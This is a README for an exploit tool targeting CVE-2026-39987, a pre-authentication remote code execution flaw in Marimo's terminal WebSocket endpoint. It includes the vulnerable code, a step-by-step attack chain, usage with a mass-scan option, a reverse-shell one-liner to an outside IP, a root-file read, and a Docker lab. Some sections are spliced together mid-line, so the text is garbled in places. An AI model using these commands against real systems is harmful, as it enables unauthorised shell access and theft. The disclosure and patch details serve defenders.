## https://sploitus.com/exploit?id=93CC3486-9303-5DA8-814E-2E7250637E9D
# CVE-2026-39987 β Marimo Pre-Auth RCE via Terminal WebSocket
```
_______ ________ ___ ____ ___ _____ _____ ____ ____ ____
/ ____/ | / / ____/ |__ \ / __ \__ \ / ___/ |__ // __ \/ __ \( __ )
/ / | | / / __/________/ // / / /_/ // __ \______ /_ **Status:** Patched in `0.23.0` β [marimo-team/marimo@c24d480](https://github.com/marimo-team/marimo/commit/c24d480)
---
## Vulnerability
The `/terminal/ws` endpoint lacks the `validate_auth()` call present in every other authenticated endpoint:
```python
# β /terminal/ws β no auth check (vulnerable)
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
await websocket.close(...)
return
# No authentication check!
await websocket.accept() # accepts directly
child_pid, fd = pty.fork() # spawns a PTY shell
```
```python
# β
/ws β correctly authenticated
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth(): # auth enforced
return
```
Marimo's `AuthenticationMiddleware` marks unauthenticated connections as `UnauthenticatedUser` but does **not** reject them β enforcement depends entirely on per-endpoint decorators or `validate_auth()` calls. `/terminal/ws` has neither.
### Attack chain
```
1. Connect to ws(s)://TARGET/terminal/ws β no token required
2. websocket.accept() β connection accepted
3. pty.fork() β PTY shell spawned
4. Send any command β arbitrary RCE as root
```
---
## Affected versions
| Software | Vulnerable | Patched |
|----------|-----------|---------|
| Marimo | β€ 0.20.4 | β₯ 0.23.0 |
---
## Usage
### Install
```bash
pip install websocket-client
```
### Single target
```bash
python3 CVE-2026-39987.py -u https://target.htb
python3 CVE-2026-39987.py -u target.htb:2718
python3 CVE-2026-39987.py -u wss://target.htb/terminal/ws
```
### Custom command
```bash
python3 CVE-2026-39987.py -u target.htb -c "bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"
python3 CVE-2026-39987.py -u target.htb -c "cat /root/root.txt"
```
### Mass scan
```bash
python3 CVE-2026-39987.py -l targets.txt -c "id" -t 3
```
### Options
```
-u URL, --url URL single target URL or host
-l LIST, --list LIST file with targets, one per line
-c CMD, --cmd CMD command to execute (default: id && cat /root/root.txt)
-p PATH, --path PATH WebSocket endpoint path (default: /terminal/ws)
-t SEC, --timeout SEC seconds of silence before giving up (default: 2)
-d SEC, --delay SEC post-connect delay before draining banner (default: 1)
--verify enable SSL certificate verification (disabled by default)
-q, --quiet suppress status messages, output only
```
---
## Demo
```
$ python3 CVE-2026-39987.py -u https://nb-1be3782a8afd3ad5.cohort.htb
_______ ________ ___ ____ ___ _____ _____ ____ ____ ____
/ ____/ | / / ____/ |__ \ / __ \__ \ / ___/ |__ // __ \/ __ \( __ )
/ / | | / / __/________/ // / / /_/ // __ \______ /_ /app/notebooks/test.py
WORKDIR /app/notebooks
EXPOSE 2718
CMD ["marimo", "edit", "--host", "0.0.0.0", "--port", "2718", "."]
```
```bash
docker build -t marimo-vuln .
docker run -p 2718:2718 marimo-vuln
python3 CVE-2026-39987.py -u ws://localhost:2718
```
---
## References
- [NVD β CVE-2026-39987](https://nvd.nist.gov/vuln/detail/CVE-2026-39987)
- [GitHub Advisory GHSA-2679-6mx9-h9xc](https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc)
- [marimo-team/marimo#9098](https://github.com/marimo-team/marimo/issues/9098)
- [Patch β marimo-team/marimo@c24d480](https://github.com/marimo-team/marimo/commit/c24d480)
- [CISA KEV](https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-39987)
- [Sysdig Blog β From disclosure to exploitation in under 10 hours](https://www.sysdig.com/blog/marimo-oss-python-notebook-rce-from-disclosure-to-exploitation-in-under-10-hours)
---
## Disclaimer
> This tool is provided for **educational and authorized penetration testing purposes only**.
> The author is not responsible for any misuse or damage caused by this tool.
> Always obtain proper authorization before testing any system you do not own.